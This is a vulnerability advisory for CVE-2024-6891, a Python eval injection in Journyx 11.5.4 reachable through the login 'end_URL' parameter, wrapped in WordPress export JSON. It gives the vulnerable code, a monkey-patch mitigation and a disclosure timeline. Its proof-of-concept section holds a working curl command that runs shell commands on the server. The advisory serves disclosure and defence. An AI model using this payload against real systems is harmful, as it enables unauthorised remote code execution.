KL-001-2024-008: Journyx Authenticated Remote Code Execution<\/p>\n
Title: Journyx Authenticated Remote Code Execution
Advisory ID: KL-001-2024-008
Publication Date: 2024.08.07
Publication URL: https:\/\/korelogic.com\/Resources\/Advisories\/KL-001-2024-008.txt<\/p>\n
1. Vulnerability Details<\/p>\n
Affected Vendor: Journyx
Affected Product: Journyx (jtime)
Affected Version: 11.5.4
Platform: GNU\/Linux
CWE Classification: CWE-94: Improper Control of Generation of Code
(‘Code Injection’), CWE-95: Improper Neutralization
of Directives in Dynamically Evaluated Code
(‘Eval Injection’)
CVE ID: CVE-2024-6891<\/p>\n
2. Vulnerability Description<\/p>\n
Attackers with a valid username and password can exploit
a python code injection vulnerability during the natural
login flow.<\/p>\n
3. Technical Description<\/p>\n
When utilizing a username and password to authenticate to
Journyx via the web interface, an HTTP request is sent to
“wtlogin.pyc” containing the credentials. Upon a successful
login, the user is redirected to “wte.pyc” or the URL specified
in the “end_URL” body parameter if one is supplied.<\/p>\n
An additional condition is present, however. If the
“end_URL” value is over 1,000 characters, the value is instead
interpolated into a python “import” statement which is passed
into the “exec()” function, thereby executing arbitrary code.<\/p>\n
Code snippet from “wtlogin.pyc”:<\/p>\n
finalURL = end_URL + ‘.pyc?’ + genlib.URLEncodeParams(params)
if len(finalURL) < 1000:
raise genlib.HTTP302Found(finalURL)
else:
exec(‘import %s; %s.main()’ % (end_URL, end_URL))<\/p>\n
The “params” variable is derived from the query parameters
included in the login request, so the size of “finalURL”
is trivial to inflate.<\/p>\n
4. Mitigation and Remediation Recommendation<\/p>\n
The vendor reports that this issue was remediated in Journyx
v12.0.0, which is the first wholly cloud-hosted version of
this product.<\/p>\n
For self-hosted instances of JournyX, additional security
measures (such as input sanitization) can be added by monkey
patching the PYC file responsible for handling request
parameters (mycgi.pyc).<\/p>\n
1) Rename “mycgi.pyc” to an alternative name, e.g. mycgi_original.pyc.
$ mv wt_tar\/pi\/pylib\/wtlib\/mycgi.py wt_tar\/pi\/pylib\/wtlib\/mycgi_original.py<\/p>\n
2) Create a file named “mycgi.py” in the same directory.
$ touch wt_tar\/pi\/pylib\/wtlib\/mycgi.py<\/p>\n
3) Insert the following code into the newly created “mycgi.py”<\/p>\n
from mycgi_original import *
from html import escape<\/p>\n
def patch():
pdata = _parse()<\/p>\n
# force the value of “end_URL” to always be “wte”
if pdata.get(‘end_URL’): pdata[‘end_URL’] = [‘wte’]\n
# sanitize user-controlled error messages
for parameter in [‘error’, ‘error_description’]:
if not pdata.get(parameter): continue
pdata[parameter] = [escape(value) for value in pdata[parameter]]\n
return pdata<\/p>\n
_parse = parse
parse = patch<\/p>\n
Once these changes have been made, the JournyX native “mycgi.parse()”
function will be overwritten with the “patch()” function located in the
“mycgi.py” file. Relevant to this advisory, the patch provided above
will force the “end_URL” parameter to always have a value of “wte”.<\/p>\n
5. Credit<\/p>\n
This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.<\/p>\n
6. Disclosure Timeline<\/p>\n
2024.01.31 – KoreLogic notifies Journyx support of the intention to
report vulnerabilities discovered in the licensed,
on-premises version of the product.
2024.01.31 – Journyx acknowledges receipt.
2024.02.02 – KoreLogic requests a meeting with Journyx support to share
vulnerability details.
2024.02.07 – KoreLogic reports vulnerability details to Journyx.
2024.02.09 – Journyx responds that this vulnerability has been remediated
in the cloud-hosted version of the product.
2024.02.21 – KoreLogic offers to test the cloud version to confirm
the fix; no response.
2024.07.01 – KoreLogic notifies Journyx of impending public disclosure.
2024.07.09 – Journyx confirms version number of the remediation.
2024.08.07 – KoreLogic public disclosure.<\/p>\n
7. Proof of Concept<\/p>\n
By leveraging the existing “web” python module, it is possible
to see the output of shell commands as returned by “os.popen()”.<\/p>\n[attacker@box]$ HOST=’redacted.com’; PORT=’8080′; USERNAME=’employee’; PASSWORD=’password123′; COMMAND=’id’; \\
curl -x http:\/\/localhost:8080 -X POST \\
-d
“wtusername=$USERNAME&wtpassword=$PASSWORD&end_URL=os,web%0aweb.response.text%3dos.popen(‘$COMMAND’).read()#×tamp=9999999999&pageid=$RANDOM”
\\
-H ‘Cookie: wtsession=foobar’ \\
“http:\/\/$HOST:$PORT\/jtcgi\/wtlogin.pyc?z=$(printf ‘Z%.0s’ {1..1000})”<\/p>\n
uid=1000(foo) gid=1000(foo)
groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
[attacker@box]$<\/p>\n
The contents of this advisory are copyright(c) 2024
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/<\/p>\n
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https:\/\/www.korelogic.com\/about-korelogic.html<\/p>\n
Our public vulnerability disclosure policy is available at:
https:\/\/korelogic.com\/KoreLogic-Public-Vulnerability-Disclosure-Policy<\/p>\n","protected":false},"excerpt":{"rendered":"
KL-001-2024-008: Journyx Authenticated Remote Code Execution Title: Journyx Authenticated Remote Code ExecutionAdvisory ID: KL-001-2024-008Publication Date: 2024.08.07Publication URL: https:\/\/korelogic.com\/Resources\/Advisories\/KL-001-2024-008.txt 1. Vulnerability Details Affected Vendor: JournyxAffected Product: Journyx (jtime)Affected Version: 11.5.4Platform: GNU\/LinuxCWE Classification: CWE-94: Improper Control of Generation of Code(‘Code Injection’), CWE-95: Improper Neutralizationof Directives in Dynamically Evaluated Code(‘Eval Injection’)CVE ID: CVE-2024-6891 2. Vulnerability Description Attackers with …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58711","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58711","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58711"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58711\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58711"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58711"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58711"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}